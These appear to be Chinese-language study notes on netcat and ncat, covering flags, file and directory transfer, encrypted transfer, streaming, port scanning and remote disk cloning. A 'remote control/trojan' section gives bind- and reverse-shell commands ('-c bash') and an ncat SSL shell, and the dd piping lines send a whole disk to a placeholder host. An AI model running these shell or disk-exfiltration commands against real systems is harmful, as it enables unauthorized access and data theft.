netcat

功能

  • 侦听/传输模式
  • telnet/获取banner信息
  • 传输文本信息
  • 传输文件/目录
  • 加密传输文件
  • 远程控制/木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆评判

命令

  1. -nv n直接ip地址,不解析dns v详细输出
  2. -l -p port -l开启监听模式 -p指定端口

可以使用 -nv ip port 连接上开启监听模式的ip,进行聊天
在客户端,可以用命令 | nc -nv ip port 来直接传送命令反馈给服务端

  1. -q secs q为 secs秒后断开连接 mac版本没有
  2. -z 为扫描模式,不会有i/o交换
  3. -zu udp端口探测
  4. -c linux中是执行命令
  5. -e mac中是执行命令

传输文件/目录

  • 客户端传1.mp4给服务器
    服务器: nc -lp 333 > 1.mp4
    客户端: nc -nv 1.1.1.1 333 < 1.mp4 - q 1
  • 客户端接收文件
    服务端:nc -q 1 -lp 333 < a.mp4
    客户端:nc -nv 1.1.1.1 333 > 2.mp4
  • 传输目录
    服务端: tar -cvf - music/ | nc -lp 333 -q 1
    客户端: nc -nv 1.1.1.1 333 | tar -xvf -
  • 加密传文件
    客户端传加密文件给服务端
    服务端: nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
    客户端: mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1
    333 -q 1

流媒体服务

  • 服务器:cat 1.mp4 | nc -lp 333
  • 客户端 nc -nv 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -

端口扫描

  • nc -nvz 1.1.1.1 1-65535
  • nc -vnzu 1.1.1.1 1-1024

远程克隆硬盘

  • 从客户端拷贝每个内容到服务端
    • 服务端:nc -lp 333 | dd of=/dev/sda
    • 客户端:dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

远程控制

  1. 正向 用来控制服务器
    • 服务端: nc -lp 333 -c bash
    • 客户端: nc 1.1.1.1 333
  2. 反向 连接服务器后,服务器可以操作客户端

服务端: nc -lp 333
客户端: nc 1.1.1.1 333 -c bash

  1. mac版本使用 -e命令
  2. 反向用于网络管理员限制进口端口的时候

ncat

  1. nc数据缺乏加密和身份验证的能力
  2. ncat包含于nmap工具中,弥补了nc的不足
    • 服务器: ncat -c bash –allow 192.168.198.66 -vnl 333 –ssl
    • 打开shell ,–allow设置允许连接的服务器 –ssl打开ssl加密
    • 客户端: ncat -nv 1.1.1.1 333 –ssl
  3. nc不同系统的参数命令不一样